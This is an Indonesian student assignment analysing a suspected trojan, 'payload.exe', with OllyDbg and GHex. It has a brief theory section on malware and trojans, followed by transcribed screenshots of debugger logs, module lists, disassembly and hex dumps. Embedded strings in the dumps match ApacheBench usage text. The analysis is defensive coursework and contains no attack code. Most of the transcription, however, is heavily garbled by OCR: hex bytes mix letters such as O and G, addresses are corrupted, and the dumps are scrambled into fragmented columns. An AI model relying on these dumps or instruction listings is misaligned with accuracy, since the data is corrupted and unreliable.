TUGAS KEAMANAN JARINGAN KOMPUTER

NAMA: SYAMSUDIN
NIM: 09011281320012

UNIVERSITAS SRIWIJAYA
FAKULTAS ILMU KOMPUTER
JURUSAN SISTEM KOMPUTER



Alat

1. GHex
2. OllyDbg
Tugas

= Analisis cara kerja program payload.exe dan payload2.exe

Dasar Teori

Malware adalah sebuah software atau kode yang diciptakan oleh seseorang dengan tujuan jahat. Sebenarnya Malware
itu adalah sebuah software atau program komputer, namun Malware dibuat dengan tujuan untuk merugikan orang
lain. Malware dapat mengubah data (menghapus, menyembunyikan, dan mencuri), menghabiskan bandwith dan juga
sumber daya lain tanpa seijin pemilik komputer yang tentunya akan merugikan orang lain. Contoh malware yaitu Virus,
Worm, Trojan Horse dan Spyware.

Trojan Horse atau Kuda troya merupakan program perangkat lunak berbahaya yang bersembunyi di dalam program
lain. Program ini memasuki komputer dengan bersembunyi di dalam program yang sah, seperti screen saver.
Kemudian dia akan menaruh kode ke dalam sistem operasi yang memungkinkan hacker untuk mengakses komputer
yang terinfeksi. Kuda troya biasanya tidak menyebar sendiri. Mereka disebar oleh virus, worm, atau perangkat lunak
yang diunduh.

Percobaan
“Analisis cara kerja program payload.exe”
# Menggunakan tools OllyDbg untuk mendapatkan informasi dari program “payload.exe”

L o|[@ ] =
Address |Message A

Ollyobg vi.18

i r font S Sans Serif ¢ not found, some dialogs may appear ycorrect Ly

File "CisUsers~USER~Down loads-Document s TUGAS pay loadspay load.exe"
New process with ID 8808321C created

Main thread with ID 90029804 created

i|Mew thread with [D 88802824 created

Mew thread with ID BE0014F4 created

1| Mew thread with ID 9880EF34 created

A1 Modu le C:~Users~USER~Down loads~Document s \TUBAS pay loads pay load. exe
CRC changed, discarding .udd data

G| Modu Le C:~UWINDOWS-SYSTEM32-WSOCK32.dL1

1 Modu le C:~WINDOWS“systemn32-apphelp.dll

Modu le C:WINDOWSSystenm32-~CRYPTEBRASE.dLL

Modu le C:-WINDOWS“System32-SspiCli.dll

Modu Le C:~WINDOWS-System32~KERNEL32.OLL

Modu le C:~WINDOWS Sy stem32~A0VAFISZ. L1

Modu le C:“WINDOWS-System32~WSZ_32.dl1

Modu le CisWINDOWS System32-boryptPrimit ives.dll
Modu le C:~WINDOWS-Systen32-~MSUCRT.dALL

Modu le Cr~WINDOWS~Systen3z2~sechost.dll

Modu le C:-WINDOWS-System32~RPCRT4.dllL

Modu le C:WINDOWS“System32-~KERNELBASE.dALL

Modu Le Ci~WINDOWS-SYSTEM32 ntdll.dlLL

i|Single step event at ntdll.77DEES74

Figure 1



W ~

P
Ba8408008 206 15088 Hap |R R

ABBBEDS Priv BW Guai RW

03198000 G00E2066 iv|RW  Gual RW
83190098 ABAAZHAEA stack of ma|Priv| BW  Gual R
BA1ABE8E BeRa4088 Map |R R
BA1EGEDE QORE206E8 Priv| Rl R
BA1F5000 ABEGEDEE Priv RW  Gual Rl
BAZEDE0E | BOEE406E8 Priv Ru Rul
Bazciaoa aaaa308a data block « Priv RW Rl
BAZC4000 BOREZ0B86 data block +Priv|RW Ru
BAZCTA00 G0EZ06E8 data block {Priv R Ru
BAZCARGA BBAE1BAA data block « Priv| Rl Rul
Ba4E8088 0001088 | pay load PE header Imag| R RWE
Ba481008 GOaGE088| pay load | .text code Imag| R RWE
Ba4B8CE0E @098 1088 | pay load | .rdata | imports Imag| R RWE
Ba4B80E08 AEEE50R0 | pay load | .data data Imag R RUE
88415008 0bao1088| pay load |.rsrc resources Imag| R RUWE
BA420000 BOAC 1086 Map |R R “DevicesHarddiskWh
BES10600 G006c068 iv| Ru RbJ
80610098 ABREZ20EEA Priv|/ B  Guaj R
A5 Fa8E Bana1aaa stack of thiPriv EW Gua:RuW
BEsE5A0E OREB0EE Peiv BW  Gual Rl
BA595000 ABEGEDEE Priv|RW Guai Rl
BA7ERE0E | A0EE00EE Priv| R Rl
BEaSFDaGE Baaa208a Fiiv BW  Gual RW
BASFFa0E BoRa 1086 stack of thiPriv|RW GuaiRW
BEaIFDEDE | DRE208E Priv B Guai Rl
BASFFA98 B0a6E16aEa stack of th]Priv| Rl Guai Rl
BEEEBEEE | DORAZ0EE Priv| RW Ru
6230700060 B0ET7ORE Imag R RWE W
HEBF D00 ABRBABBE Imaa R RWE

Figure 2

4 ] + @ B = A, B
BPBDOF 34| 7TD4E7C0 DBZCABGE EHFJJR_SI.ICI:ESS IBEI Act ive 2 +0 B.0008 < g,
Bea814F4| 77046700 GO2CT000 EFIRDR_SUECE‘SS (881 Bct ive 32+ 8 8.0888 = a.a
BEBBZE24 | FYD467C0| BEZC4868 ROR_SUCCESS (881 Act ive 2+ 8 . 0888 s 8.8

v
Figure 3

+

JHP ntdll. WWNB‘B i
LER ECX, DWORD PTR DS:CECKI ggaggggg pay load. <Modu leEntryPoin
HOU EDX, ESP

06860666

77020934 SDA424 POGOEERAB| LEA ESP,DWORD PTR SS:[ESP) baztE a0

7r0ee92E|vERB @3 JHE SHORT ntdll.KiFastSystemCal IRet
77D20580| CC NT3 00E006R0
770S8898E| CC BEOBEEEE
7r08a95F| CC

77020993 C3 RETN 77020974
77020921| SDA424 GOEOEEEE| LEA ESP,DWORD PTR SS:[ESPI

ntdll.77088974

77000995| 9DA424 BEEEEEEB|LEA ESP,DWORD PTR S$5:(ESP] 264 BB RN Eiadaadea,
77088397 90 Nop X A G S5 0628 32bit O(FFFFFFFF)
77D209A0| 8DS424 B8 LER EDX,DWORD PTR SS: [ESP+81 DM B e e HjEigdadas.
D INT 26 § @ FS BB53 32bit 2C1008(FFF)

T8 GS @682E 32bit A(FFFFFFFF)
77030907 Do
s 0 @ LastErr ERROR_SUCCESS (B8000983
7703090 v | EFL @@@o0202 (MO, 1B, NE,A, NS, PO, GE, G)
— ST empty 8.0

ST1 empty 9.0

5T2 empty 9.8

ST2 empty 8.8

a
(2]

Ba4anaaal B8 A BB BB BA iﬁaa L] R o gg{ggﬂ 084B85A20| pay load. <Modu leEntryFoint > Cnd
88 ba 29 o

alalslals]ala15)
B8480205| 20 60 a8 o
PR4E0013| 31 B9 #8 BE19FFFC| 00806686
@a4a0a13| 91 @A a0 9a Al 6@ @@ Ba|A,..a, .,
Ba4e0a2e| 81 B8 08 00 29 60 68 28| B.......
Ba480822| 280 C2 C9 01 00 6B 80 08| HFo. .
Ga480@30|EG 6B 41 68 32 60 Q0 0@ ddFI.E...
@a4a0a3s E
Ba4a0a4a

Casa
Ba40DE58| 26 73 3A 28|43 61 6E &E|Xs: Cann
BE48DB68) 6F 74 28 75| 73 65 20 63| ot use c
B8480868| F 6E 63 75|72 72 65 6E|oncurren
Ba48De7a| 63 79 28 6C| 65 76 65 6C|low level
Ba48Da7E8| 28 67 72 65 61 74 €5 72| greater v v

Figure 4



_E| Executable modules

Base nt | Hame IFilt wuion |P’§h
00400000 DOD16000 DB4DSHED| pay load | 2.2 Cznl
71B30606A| BRBGSH00 T1B31730| WSOCKS32 a. B 14393 B (xqCah
736CH008| 8052008 TSVEFTCA apphelp | 18.8,14393.8 (r{Cinbl
74700808 B8BOR600 747C2A90 CRVPTBHS 8.8,14292.8 (xr{C:=l
74700008  2081E900 747DBRA2A SspiCli 0.0.14292.576 |[Cisl
FEDCOG0G| GRBEQEG80 FSDDSFDa KERNEL32 0.0,14393.206 |Cisl
7EF70D0A| GAA7 7060 75FSE99A| ADUAPIZZ 10,6, 14393.8 (1 C1 bl
76620000 DOBEI000| 7E63E7ED| WS2_32 | 19.0.14392.8 (r1 C: Ul
7E960000| PABSAGEE| 7EIAZ2968| boruptPr| 18,0, 14393.8 (1 C:
7EESO000| AABEEDA | 7EESSEAA| MSUCRT | 7.6.14393.8 (rs| Cin
80841080 773471CA sechost | 10.8.14393.8 (r{ C:~WINDOWSSysten32

vre0bB6a| aaacC1666| 776F 14E6| RPCRT4 8.8.14393.8 (r{C:~l
777FOB08| B81A1060 77SRAESDB) KERMELEA| 18.8.14393.286 |C:~W
7rD106088| 801223680 ntdll 0.0.14393.206 |Cisl

Figure 5

=

€] CPU - main thread, module sechost

Ta07733681=777

sers~USERDown | oads~Document s TUGRSpay loads™
NDOWSNSYSTEM32WWSOCKS2. d1L L

HDOWS system32~apphe lp. dl L
HDOWS~SystemZ2-CRYPTERASE. dIL |
NDOWS~SystemZ2nSspiCli.dll
MNDOWS~System32-KERNELZ2. DLL
NDOWS~System32~ADVAPIZ2.dL 1
INDOWS~System32~W5Z_32.dlL 1
INDOWS™Systen32 boryptPrimit ives.dll
NDOWS~System32~MSUCRT.dL L
~sechost.dll
HDOWS~System32-RPCRT4.dl1
DOWS“Susten32“KERNELEBRASE.d1 1
MDOWS~SYSTEM32%ntdll.dlL

=z

[FraciooB QB eoaacr4d |
~70 24 JGE SHURT sechost. ??331333
v {7 68 Jﬂ SHORT sechost. 77231869
477 14823677 | XOR DWORD PTR DS: [EDI+ESI#2]1, 77368214
a ADD BYTE PTR DS:CEAK],AL
a ADD BYTE PTR DS:[EAK],AL
a ADD BYTE PTR DS:[EAX],AL
i) ADD BYTE PTR DS:LEAX].AL
a ADD BYTE PTR DS:CEAX],AL
] ADD BYTE PTR DS:LERX],AL
a ADD VTE PTR DS:[ERX], AL
@ ADD E PTR DS:L[ERAKX],AL
A_&7 JPE SHORT sechost, 773318
2377 81 XOR ESI,DWORD PTR DS: [EDI+11]
aoeaa ADD BYTE PTR DS:[ERX].AL
] ADD BYTE PTR DS:L[EAX],AL
A ADD BYTE PTR DS:CEDX],CL
a ADD BYTE PTR DS:[EAX],AL
a ADD \r"I'E PTR u} : EFIX:I.
&R B2 ADD FTR D CH
188 Aoo JMORD PTR US EEnx] ECH
ann BYTE PTR NS: [FOX]

Address |Hex dur Haﬂ dunn

fI'FI

_L|1L|_L|_ q

D D D D DD DD D ) ()

D i o O

BEEEEEEE
a

Figure 6

# Menggunakan tools GHex untuk mendapatkan informasi dari program “payload.exe”

root@sam-VirtualBox: fhome/sam/Downloads/TUGAS fpayloads# 1s

payloadz.exe

payload.exe

root@sam-VirtualBox: /homefsam/Downloads/TUGAS /payloads# ghex payload.exe

Figure 7




payload.exe - GHex

00000EOOEID 5A 90 60 03 00 00 00 04 00 00 ©0 FF FF 00 00 B8 00 00 0O 00 00 00 OO 40 00 0O 00 GO 00 00 0O 00 GO 00 ©O 0O 0O EP.
00000O26/00 OO 00 0O 00 OO0 60 00 OO 0O 00 00 00 PO 0O 00 0O OO0 0O 0O 00 0P ES ©0 00 00 OE 1F BA OE ©0 B4 09 CD 21 B8 01 4(C |..
0600004C|CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F| |.!This program cannot be run in DOS mo
00000072)64 65 2E 6D OD ©A 24 00 GO 00 00 ©0 00 GO 93 38 FO D6 D7 59 9E 85 D7 59 9E 85 D7 59 9E 85 AC 45 92 85 D3 59 9E 85| [de.. . LBLLYL LY YL LB LY L
4 45 90 85 DE 59 9E 85 B8 46 94 85 DC 59 9E 85 B8 46 9A 85 D4 59 9E 85 D7 59 9F 85 1E 59 9E 85 54 51 C3 85 DF 59| [TE.
E 85 83 7A AE 85 FF 59 9E 85 10 5F 98 85 D6 59 9E 85 52 69 63 68 D7 59 9E 85 00 00 06 00 00 00 00 60 00 0O 00 00|
0O00OOE400 00 00 00 50 45 00 00 4C 01 04 00 47 71 D6 49 00 00 00 00 00 00 00 00 EO 00 OF 01 6B 01 06 0O 00 BO 00 00 00 AQ|
0000010A00 OO 00 0O 0O 00 8D 5A 0O 00 00 10 00 DO 0O CO OO 00 0O 0O 40 00 00 10 00 00 0O 10 GO 00 ©4 0O 00 OO 00 0O 0O 0O
00000130/04 GO 00 GO 06 60 6O 00 GO 60 01 ©G G0 10 0O 00 0O 60 6O 00 02 00 00 OO 00 0O 10 00 GO 10 60 0O 00 GO 10 ©O 0O 10|
00000156/00 66 00 00 060G 60 10 00 GG 00 00 00 60 06 00 00 606 @0 6C C7 06 00 78 00 00 06 00 50 01 GO C8 07 00 GO 00 00 00 OO
0000017Cjo0 OO 00 GO 0O 00 6O 00 GO 00 00 OO 00 OO 0O 00 0O 00 00 00 EO C1 00 06 1C 00 0D 00 GO 00 ©0 0O 00 GO 00 0O 0O 0O
0E0001A2/00 GO 00 GO 00 ©0 6O 00 OO 00 00 0O 0O DO 0O 00 0O OO0 0O 0O 00 0D OO0 OO 00 0O 0O 00 @O0 00 ©0 CO 00 OO EO ©1 0O OO
060001CBj00 66 00 00 060G 60 60 00 GG 00 00 00 G0 06 00 00 060G 60 60 00 06 00 00 OO0 2E 74 65 78 74 00 60 00 66 A9 00 00 00 10|
0OO0O1EE/GO0 0O 00 BO 00 00 €0 10 GO 00 00 00 00 0O 0O 00 00 00 00 0O 00 00 20 00 00 60 2E 72 64 61 74 61 00 00 E6 OF 00 0O
00000214/00 CO 00 0O 00 10 €0 00 0O CO 00 00 00 OO 0O 0O 0O 00 0O 0O 0O OO OO0 OO 40 00 00 40 2E 64 61 74 61 00 00 00 5C 70|
0600023A/00 60 00 DO 06 @0 60 40 GO 00 00 DO G0 GO 0O 00 0O @0 60 00 00 00 00 ©O 00 0O 40 00 60 CO 2E 72 73 72 63 00 00 0O
00000260|C8 07 00 00 00 50 €1 00 G0 10 00 60 60 10 01 00 0O @0 00 0O 00 00 00 00 00 00 00 00 40 00 00 40 00 GO 00 00 00 OO
00000286/00 OO 00 GO 0O 00 6O 00 GO 00 00 OO 00 OO 0O 00 0O 00 0O 0O 00 0O 00 OO 0O 00 0O 00 GO 00 00 0O 00 GO 00 ©O 0O 0O
0O00B2ACI00 GO 00 GO 00 OO0 6O 00 OO 0O 00 0O 0O DO 0O 00 0O OO0 0O 0O 00 0D OO0 OO 0O 0O 0O 00 @O0 00 €0 0O 00 OO 00 0O 0O OO
060002D2|00 66 00 00 060G 60 60 00 GG 00 00 60 G0 06 00 00 060G 60 60 0O 06 00 00 00 0O 0O 0O 00 0O 0O 60 0O 00 GO 00 00 00 OO
0O0002F8|00 OO 00 GO 0O 00 0O 00 GO 00 00 OO 00 DO 0O 00 0O 00 0O 0O 00 0O 00 OO 00 0O 0O 00 GO 00 ©0 0O 00 GO 00 OO 0O 0O
0EO0O31EEO GO 00 G0 00 ©0 6O 00 OO 00 00 0O 0O DO 0O 00 0O OO0 0O 0O 00 0D 00 0O 0O 0O 0O 00 @O0 00 €0 0O 00 OO 00 00 0O OO
00000344/00 60 00 00 00 60 60 00 GG 00 00 6O G0 GO 00 00 6O @0 60 00 00 00 00 OO 0O 0O 00 00 GO GO0 60 0O 00 G0 00 0O 0O OO
0000036A00 00 00 00 00 60 00 00 GO 00 00 00 60 0O 0O 00 00 00 00 0O 00 00 00 00 00 00 0O 00 0O 00 00 0O 00 GO 00 00 00 OO
00000390/00 GO 00 GO 00 00 00 00 GO 00 00 00 00 DO 0O 00 OO OO0 0O 0O 0O 0D 00 OO OO 0O 0O 00 GO 00 ©0 0O 00 OO 00 0O 0O 0O
000003B6/00 GO 00 GO 06 60 6O 00 GO 0O 00 6O G0 GO 0O 00 0O 60 6O 00 0O 0O OO0 BO 00 0O 0O 00 GO GO0 60 0O 00 GO 00 ©O 0O OO
066063DCj00 66 00 6O 060G 60 60 00 GG 00 00 00 G0 06 00 00 060G 60 60 0O 06 00 00 00 0O 06 0O 00 0O 0O 60 0O 00 GO 00 00 00 OO
00000402/00 OO 00 GO 00 00 6O 00 GO 0O 00 OO 00 OO 0O 0O 0O 00 0O OO 0O 0O 00 OO 00 0O 0P 00 GO 00 ©0 0O 00 GO 00 0O 0O 0O
00000428/00 GO 00 GO 00 ©0 €O 00 OO 00 00 0O 00 OO 0O 0O OO OO0 0O 0O 00 0D OO0 OO 00 0O 0O 00 GO0 00 €0 0O 00 OO 00 0O 0O OO
0000044E)00 6O 00 0O 0O 60 60 00 GG 00 00 00 60 GO 0O 00 060G 60 60 0O 06 00 00 OO 0O 06 0O 00 GO 0O 60 0O 00 GO 00 00 00 OO

Signed 8 bit: \ 77 ‘I Signed 32 bit: | 1297780736 ‘| Hexadecimal: | 4D \
Unsigned 8 bit: [ 77 | Unsigned 32 bit: [ 1297780736 | octal: [ 115 )
signed 16 bit: [ 19802 | Float 32 bit: [ 2,291794e+08 | Binary: [ 01001101 )
Unsigned 16 bit: \ 19802 ‘I Float 64 bit: |’ 4,370872e+64 ‘I Stream Length: |’ 8 -+ \
[_J Show little endian decoding ) Show unsigned and float as hexadecimal
Offset: 0x0
Figure 8
Signed 8 bit: [ 77 ) Signed 32 bit: | 9460301 ) Hexadecimal: [ 4D )
Unsigned 8 bit: \ 7 \ Unsigned 32 bit: |’ 9460301 \ Octal: \ 115 \
Signed 16 bit: [ 23117 ) Float 32 bit: [ 1,325671e-38 ) Binary: | 01001101 )
Unsigned 16 bit: \ 23117 \ Float 64 bit: | 6,370661e-314 \ Stream Length: \‘S = |+ \
show little endian decoding (") show unsigned and float as hexadecimal
Offset: 0x0
Figure 9
Signed 8 bit: \‘77 \ Signed 32 bit: \ 1297780736 (I Hexadecimal: \ 4D \
Unsigned 8 b ) Unsigned 32 bit: | 0x4D5A9000 | octal: [ 115 )
signed 16 bit: | 19802 \ Float 32 bit: ‘ 0X1,B52P+27 | Binary: ‘ 01001101 \
Unsigned 16 bit: | 0x4D5A ) Float 54 bit: | 0X1,A900003P+214 | Stream Length: | 8 -+
(") Show little endian decoding Show unsigned and float as hexadecimal
Offset: 0x0
Figure 10
Signed 8 bit: ‘77 \ Signed 32 bit: \ 9460301 ‘| Hexadecimal: ‘ 4D \
Unsigned 8 bit: | 0x4D \ Unsigned 32 bit: \ 0x00905A4D ‘I Octal: \ 115 \
W Float 32 bit: ‘ 0X1,20B49AP-126 | Binary: ‘ 01001101 ‘
Unsigned 16 bit: | oxsaap \ Float 64 bit: \ 0X0,0000300905A4DP-1022 (I Stream Length: \ 8 - + \
show little endian decoding show unsigned and float as hexadecimal
Offset: 0x0

Figure 11



payload.exe - GHex

File Edit \

I0OOOEEFC|72
0OOOEF22|20
0OOEF48)20
0OBOEF6E|73
0O0OEF94)20
0OOOEFBA2Z0
0@BOEFEDJAC

000FO06|63
ee00F02C20
0000F852)27
0O0OFO78|2F

000FAQE|74
0000OFBC4/69
0O0OFOEAGF
0OOFL10/6F
0EOOF136/6C
0OBOF15C|6C
0O00OF182|7A
0O00F1A8|73
0OOOFLCEZE
0OOF1F4/63
0OBOF21A/65
0000F240/71
0O0OF266/61
0EOOF28CI6F
060OF2B2|6F
0000F2D8|68
0OOOF2FE|69
0000F324/64
0000OF34A/54

20
20
20
20
20
20
20
68
20
0A
78
65
6E
6E
20
65
73
65
0A
20
79
0A
75
67
72
20
74
6C
61
20

74
53
20
74
20
20
74
20
20
00
2D
6E
67
74
73
20
6F
20
00
77
20
00
65
65
74
68
74
65
74
64

68
74
20
61
20
20
61
74
20
[¢[¢]
77
74
2C
61
65
63
20
6F
[¢[¢]
61
20
00
73
3A
5D
74
70
3A
61
61

20
72
2D
62
55
20
62
72
20
00
717
2D
20
69
74
6F
74
66
20
69
4E
00
74
20
2F
74
3A
20
20
74

61
69
78
6C
73
20
6C
6F
20
00
77
74
65
6E
20
6E
6F
20
20
74
75
00
73
25
70
70
2F
25
62
61

74
6E
20
65
65
20
65
75
20
20
2D
79
67
69
2D
74
20

20
20
6D
20
20
73
61
73
2F
73
75
20

74
67
61
20
20
20
73
62
20
20
66
70
2E
6E
54
61
73

20
66
62
20
74
20
74
20
00
0A
66
66

72
20
74
61
48
20
BA
6C
20
20
6F
65
0A
67
0A
69
65

2D
6F
65
20
6F
5B
68
73
61
00
66
69

69
74
74
74
45
20
[[¢]
65
20
20
72
20
00
20
00
6E
74
20
74
72
72
20
20
6F
0A
75
62
[¢[¢]
65
6C

62
6F
72
74
41
20
00
73
20
20
6D
43
00
64
00
69
20
73
20
20
20
2D
70
70
00
70
3A
61
72
65

75
20
69
72
44
20
00
68
20
20
2D
6F
00
61
00
6E
2D
65
74
72
6F
6E
65
74
00
70
20
62
0A
20

74
69
62
69
20
20
20
6F
20
20
75
6E
20
74
00
67
54
6E
69
65
66
20
72
69
3A
6F
43
3A
00
28

65
6E
75
62
69
20
20
6F
20
20
72
74
20
61
00
20
0A
64
6D
73
20
72
66
6F
25
72
6F
20
00
25

73
73
74
75
6E
50
20
74
20
20
6C
65
20
20
00
64
00
2F
65
70
6D
65
6F
6E
64
74
75
43
00
73

BA
65
65
74
73
72
20
69
20
20
65
6E
20
74
00
61
00
72
6C
6F
75
71
72
73
00
BA
6C
6F
00
29

00
72
73
65
74
69
20
6E
44
20
6E
74
20
6F
20
74
20
65
69
6E
6C
75
6D
5D
53
00
64
75
61
3A

00
74
20
73
65
6E
76
67
65
20
63
2D
75
20
20
61
20
63
6D
73
74
65
0A
20
53
00
20
6C
62
20

00
20
20
BA
61
74
20
20
66
20
6F
74
20
50
20
20
20
65
69
65
69
73
00
5B
4C
68
6E
64
3A
25

o[¢]
61
20
00
64
20
76
69
61
20
64
79
70
55
20
74
20
69
74
73
70
74
o[¢]
68
20
74
6F
20
20
73

20
73
53
a0
20
6F
65
6E
75
20
65
70
75
54
2D
6F
2D
76
20
0A
6C
73
4F
74
6E
74
74
6E
43
oA

20
20
74
00
6F
75
72
66
6C
20
64
65
74
2E
70
20
62
65
20
00
65
20
70
74
6F
70
20
6F
6F
00

20
74
72
20
66
74
62
6F
74
20
27
20
66
20
20
50
20
20
20
20
20
20
74
70
74
73
72
74
75
61

20
72
69
20
20
20
6F
20
20
20
0A
68
69
52
70
4F
77
62
20
20
72
20
69
3A
20
3A
65
20
6C
62

2D
20
6E
20
47
72
73
74
69
20
00
65
6C
65
6F
53
69
75
53
20
65
20
6F
2F
63
2F
61
61
64
3A

79
61
67
20
45
65
69
6F
73
20
00
61
65
6D
73
54
6E
66
65
20
71
20
6E
2F
6F
2F
64
6C
20
20

20
74
20
2D
54
73
74
20
20
27
00
64
20
65
74
2E
64
66
63
2D
75
4E
73
5D
6D
00
20
6C
6E
43

61
74
74
69
BA
75
79
70
27
61
00
65
20
6D
66
20
6F
65
6F
63
65
75
20
68
70
00
50
6F
6F
6F

74
72
6F
26
08
6C
20
72
74
70
20
72
26
62
69
52
77
72
6E
20
73
6D
61
6F
69
08
4F
63
74
75

74
69
20
20
00
74
20
69
65
70
20
20
20
65
6C
65
73
2C
64
63
74
62
72
73
6C
00
53
61
20
6C

72
62
69
20
00
73
20
6E
78
6C
20
66
20
72
65
6D
69
20
73
6F
73
65
65
74
65
5B
54
74
73
64

69
75
6E
20
$[¢]
20
20
74
74
69
20
6F
20
20
20
65
A
69
20
6E
20
72
3A
6E
64
25
20
65
74
20

62
74
73
20
20
69
48
0A
2F
63
2D
72
46
61
20
6D
65
6E
74
63
74
20
0A
61
20
73
64
20
61
6E

75
65
65
20
20
6E
6F
00
70
61
54
20
69
6C
20
62
20
20
6F
75
6F
6F
00
6D
69
5D
61
50
74
6F

74
73
72
20
20
20
77
20
6C
74
20
50
6C
73
20
65
20
62
20
72
20
66
[$[¢]
65
6E
00
74
4F
20
74

65
0A
74
20
20
48
20
20
61
69
63
4aF
65
6F
20
72
20
79
6D
72
6D
20
00
5B
3B
00
61
53
50
20

73
00
20
20
2D
54
6D
20
69
6F
6F
53
20
20
46
20
53
74
61
65
61
72
55
3A
20
00
20
54
4F
6F

20)
00)
61
20)
77
4D|
75
20)
6E|
6E|
6E|
54
63
74
69
61
69
65)
78
6E|
6B
65)
73]
70)
6E|
00)
66)
20)
53]
70)

r th attributes..... -y attributes
String to insert as tr attributes...
-x attributes  String to insert a
s table attributes.... -i
Use HEAD instead of GET..... -W
Print out results in HTM
L tables.... -v verbosity How mu
ch troubleshooting info to print..
Default is 'text/plain
'application
/X-www-form-urlencoded'..... -T con
itent-type Content-type header for POST

ling, eg..... -u putfile File c
lontaining data to PUT. Remember also t
o set -T........ -p postfile Fi

lle containing data to POST. Remember a
lso to set -T... -b windowsize  Si
ze of _ send/receive buffer, in byte
S... -t timelimit Seconds to max
. wait for responses.. -Cc concurren
cy Number of multiple requests to mak
-n requests Number of re

@age: %s [options] [http://]hostname[:p
lortl/path...:%d.SSL not compiled in; n
o https support...https://....[%s]....
http://.ab: Could not read POST data f
ile: %s...ab: Could not allocate POST
data buffer..... ab: Could not stat POS

[T data file (%s): %s..ab: Could not op:

Unsigned 16 bit: [ 17236

Signed 8 bit: [ 84

Unsigned 8 bit: \ 84

signed 16 bit: | 17236

Show little endian decoding

Offset: 0xF188; 0x3 bytes from 0xF188 to OXF18A selected

Figure 12

Signed 32 bit: (542131028

Unsigned 32 bit: | 542131028

Float 32 bit: | 1,764056e-19

Float 64 bit: ‘ 6,014341e+175

Hexadecimal: | 54

Octal: | 124

Binary: | 01010100

Stream Length: \ 8 =

() Show unsigned and Float as hexadecimal

payload.exe - GHex

00OOFEGC|20
0000FES2|72
000OFEB8|68
000OFEDE|6E
0000FFO465
0OOOFF2AI77
000OFF56[4E
000OFF76[20
000OFFIC]20
00OOFFC2/61
000OFFE8|69
0001000Ej0O
0001003472
0001005A)72
00010086[64
000100A6/00
eoeleeccsC
000100F2[49
00010118/65
0001013E/00
00010164[41
0001018A/00
000101B0[RO
000101D6/00
000101FCjo0
00010222|32
00010248/00
0001026E/00
0001029400
000102BAJ0O

73
64
65
20
20
73
20
61
6E
20
65
4E
71
65
00
55
5C
00
73
47
00
47
00
00
00
33
00
00
00
00

20
20
61
77
61
20
70
73
64
70
20
6F
75
64
00
6E
00
00
65
65
00
65
00
00
00
32
00
00
00
00

69
6D
64
61
6E
70
6F
20
20
72
77
20
69
00
41
72
3F
00
64
74
47
74
00
00
00
[¢[¢]
00
00
00
00

6E
65
20
73
64
72
6C
72
6F
6F
61
70
72
00
20
65
00
00
46
53
65
45
00
00
00
00
00
00
00
00

76
6D
6B
20
20
6F
6C
65
6E
76
73
72
65
41
6E
63
5C
47
69
65
74
66
00
00
00
6D
00
00
00
00

61
6F
65
72
6F
76
20
71
65
69
20
6F
64
6E
65
6F
[¢[¢]
65
6C
63
4E
66
00
00
00
73
00
00
00
00

6C
72
79
65
6E
69
73
75
20
64
70
63
2E
20
77
67
55
74
65
75
61
65
00
00
00
717
0l
00
00
00

69
79
20
71
65
64
74
69
77
65
72
65
00
69
20
6E
00
43
53
72
6D
63
00
00
00
73
00
00
00
00

64
20
73
75
20
65
72
72
61
64
6F
73
00
6E
70
69
4E
6F
69
69
65
74
00
00
00
6F
00
00
00
00

2E
69
74
69
77
64
75
65
73
20
76
73
00
76
6F
TA
00
6D
TA
74
64
69
00
00
00
63
00
00
00
00

00
73
72
72
61
20
63
64
20
61
69
20
41
61
6F
65
43
70
65
79
53
76
00
00
FF
68
00
00
00
00

0
20
75
65
73
61
74
2E
72
6F
64
77
6E
6C
6C
64
80
72
57
49
65
65
00
00
FF
80
00
00
00
00

00
63
63
64
20
6E
75
00
65
64
65
61
20
69
20
20
5C
65
00
6E
63
52
00
00
FF
61
00
00
00
00

00
75
74
2E
72
64
72
00
71
20
64
73
69
64
63
57
00
73
00
66
75
69
00
00
FF
64
00
00
00
00

1
72
75
13
65
20
65
13
75
6F
20
20
6E
20
6F
69
13
73
5A
6F
72
67
13
00
6E
76
13
13
00
00

53
72
72
00
71
6F
20
00
69
6E
61
70
76
64
75
6E
0o
65
77
00
69
68
00
00
74
61
00
00
00
00

aF
65
65
4E
75
6E
77
4E
72
65
6E
72
61
61
6C
33
00
64
51
47
74
74
00
a0
64
70
00
00
90
1

20
6E
20
6F
69
65
61
6F
65
20
64
6F
6C
74
64
32
00
46
75
65
79
73
00
00
6C
69
00
00
00
00

6C
74
77
20
72
20
73
20
64
77
20
76
69
65
20
20
5C
69
65
74
49
46
00
00
6C
33
0o
00
00
00

6F
6C
61
74
65
77
20
6C
2E
61
6F
69
64
20
6E
65
00
6C
72
4E
6E
72
00
00
2E
32
00
00
00
00

61
79
73
68
64
61
70
6F
00
73
6E
64
20
68
6F
72
5C
65
79
61
66
6F
00
00
64
00
00
00
00
00

64
20
20
72
2E
73
72
63
00
20
65
65

20
61
70
65
00
20
6F
68
4E
72
20
64

66
76
72
61
00
72
76
20
6F
65
77
20

61
61
6F
64
00
65
69
77
20
71
61
61

69
69
76
20
00
71
64
61
64
75
73
6E

6C
6C
69
77
4E
75
65
73
69
69
20
64

61
74
72
[¢[¢]
53
49
6D
6F
6D
00
00
6C
[¢[¢]
00
00
00
00

73
20
6F
3F
69
6E
65
57
41
00
00
6C
00
00
00
00
00

20
62
72
00
TA
66
64
00
63
00
00
00
00
00
00
00
00

62
65
20
5C
65
6F
53
[¢[¢]
6C
00
00
00
6B
00
00
00
00

65
20
63
00
41
72
65
00
57
00
00
00
65
00
00
00
00

65
63
6F
00
00
6D
63
55
00
00
00
73
72
00
00
00
00

65
61
64
61
6F
69
64
20
72
72
72
20
20
6E
72
64
[¢[¢]
00
61
75
[¢[¢]
[¢[¢]
00
00
68
6E
00
00
00
00

64
62
65
73
20
72
20
70
65
65
65
6F
77
20
65
65
00
47
74
72
4E
00
00
00
65
65
00
00
00
00

00
6C
64
20
73
65
61
72
63
64
71
6E
61
70
61
20
00
65
69
69
00
00
00
00
6C
6C
00
00
00
00

4E
65
20
70
6F
64
6E
6F
74
2E
75
65
73
72
74
25
43
74
6F
74
43
$[¢]
00
00
6C
33
<]
00
00
00

6F
00
61
72
63
2E
64
76
6F
00
69
20
20
6F
65
64
61
43
6E
79
00
00
00
00
33
32
00
00
00
00

20
4E
6E
6F
68
00
20
69
72
4E
72
77
72
76
64
00
6E
6F
46
49
5C
FF
00
00
32
00
00
00
00
00

73
6F
64
76
65
00
6F
64
79
6F
65
61
65
69
2E
00
63
6D
69
6F
00
FF
00
00
00
00
00
00
00
00
